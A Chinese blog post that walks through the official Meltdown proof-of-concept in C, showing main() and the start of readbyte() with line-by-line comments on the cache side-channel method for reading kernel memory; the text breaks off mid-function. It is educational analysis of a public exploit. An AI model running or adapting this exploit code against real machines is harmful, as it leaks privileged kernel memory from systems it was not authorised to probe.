meltdown官方POC原理分析和踩过的坑

最新推荐文章于 2022-12-18 22:12:28 发布

weixin_44749339

最新推荐文章于 2022-12-18 22:12:28 发布

阅读量715

点赞数

文章标签： meltdown spectre

本文链接：https://blog.csdn.net/weixin_44749339/article/details/103038671

版权

本文详细分析了meltdown漏洞的官方Proof-of-Concept（POC），从main函数开始，逐步探讨关键函数的工作原理。重点在于理解如何利用缓存侧信道技术读取内存中的敏感数据。文中还分享了在理解POC过程中遇到的难点和解决思路，并提供了完整的官方代码以供参考。

摘要由CSDN通过智能技术生成

meltdown summary

先从main函数开始看

在这里int main(int argc, char *argv[])
{
   
	int ret, fd, i, score, is_vulnerable;
	unsigned long addr, size;
	static char expected[] = "%s version %s";

	progname = argv[0];
	if (argc < 3)
		return usage();

	if (sscanf(argv[1], "%lx", &addr) != 1)
		return usage();

	if (sscanf(argv[2], "%lx", &size) != 1)
		return usage();

	memset(target_array, 1, sizeof(target_array));//将target-array数组值全部置为一

	ret = set_signal();
	pin_cpu0();

	set_cache_hit_threshold();//设置 cache hit 阈值

	fd = open("/proc/version", O_RDONLY);//open函数，打开路径，  readonly ，成功则返回文件描述符，否则返回 -1 ， /proc/version系统调用将内核信息版本返回给函数
	if (fd < 0) {
   
		perror("open");
		return -1;
	}

	for (score = 0, i = 0; i < size; i++) {
   //循环遍历所有字符
		ret = readbyte(fd, addr);//ret是很重要（超级重要）的返回值，readbyte函数也是该代码核心
		if (ret == -1)
			ret = 0xff;
		printf("read %lx = %x %c (score=%d/%d)\n",//%x是以16进制输出整型数据，%lx就是以16进制输出长整型数据
		       addr, ret, isprint(ret) ? ret : ' ',//?就是判断的意思，true就输出：前面的，false就是后面的
		       ret != 0xff ? hist[ret] : 0,
		       CYCLES);

		if (i < sizeof(expected) &&
		    ret == expected[i])
			score++;

		addr++;
	}

	close(fd);

	is_vulnerable = score > min(size, sizeof(expected)) / 2;

	if (is_vulnerable)
		fprintf(stderr, "VULNERABLE\n");
	else
		fprintf(stderr, "NOT VULNERABLE\n");

	exit(is_vulnerable);
}插入代码片

开始看看重要函数

在这里插入代码片int readbyte(int fd, unsigned long addr)
{
   
	int i, ret = 0, max = -1, maxi = -1;
	static char buf[256];

	memset(hist, 0, sizeof(hist));//将hist参数全部设为0

	for (i = 0; i < CYCLES; i++) {
   
		ret = pread(fd, buf, sizeof(buf), 0);//，将fd读入到buf array中，成功ret=返回的字节数。
		if (ret < 0) {
   
			perror("pread");
			break;
		}

		clflush_target();//Flush阶段，就是将target array在cache清空

		_mm_mfence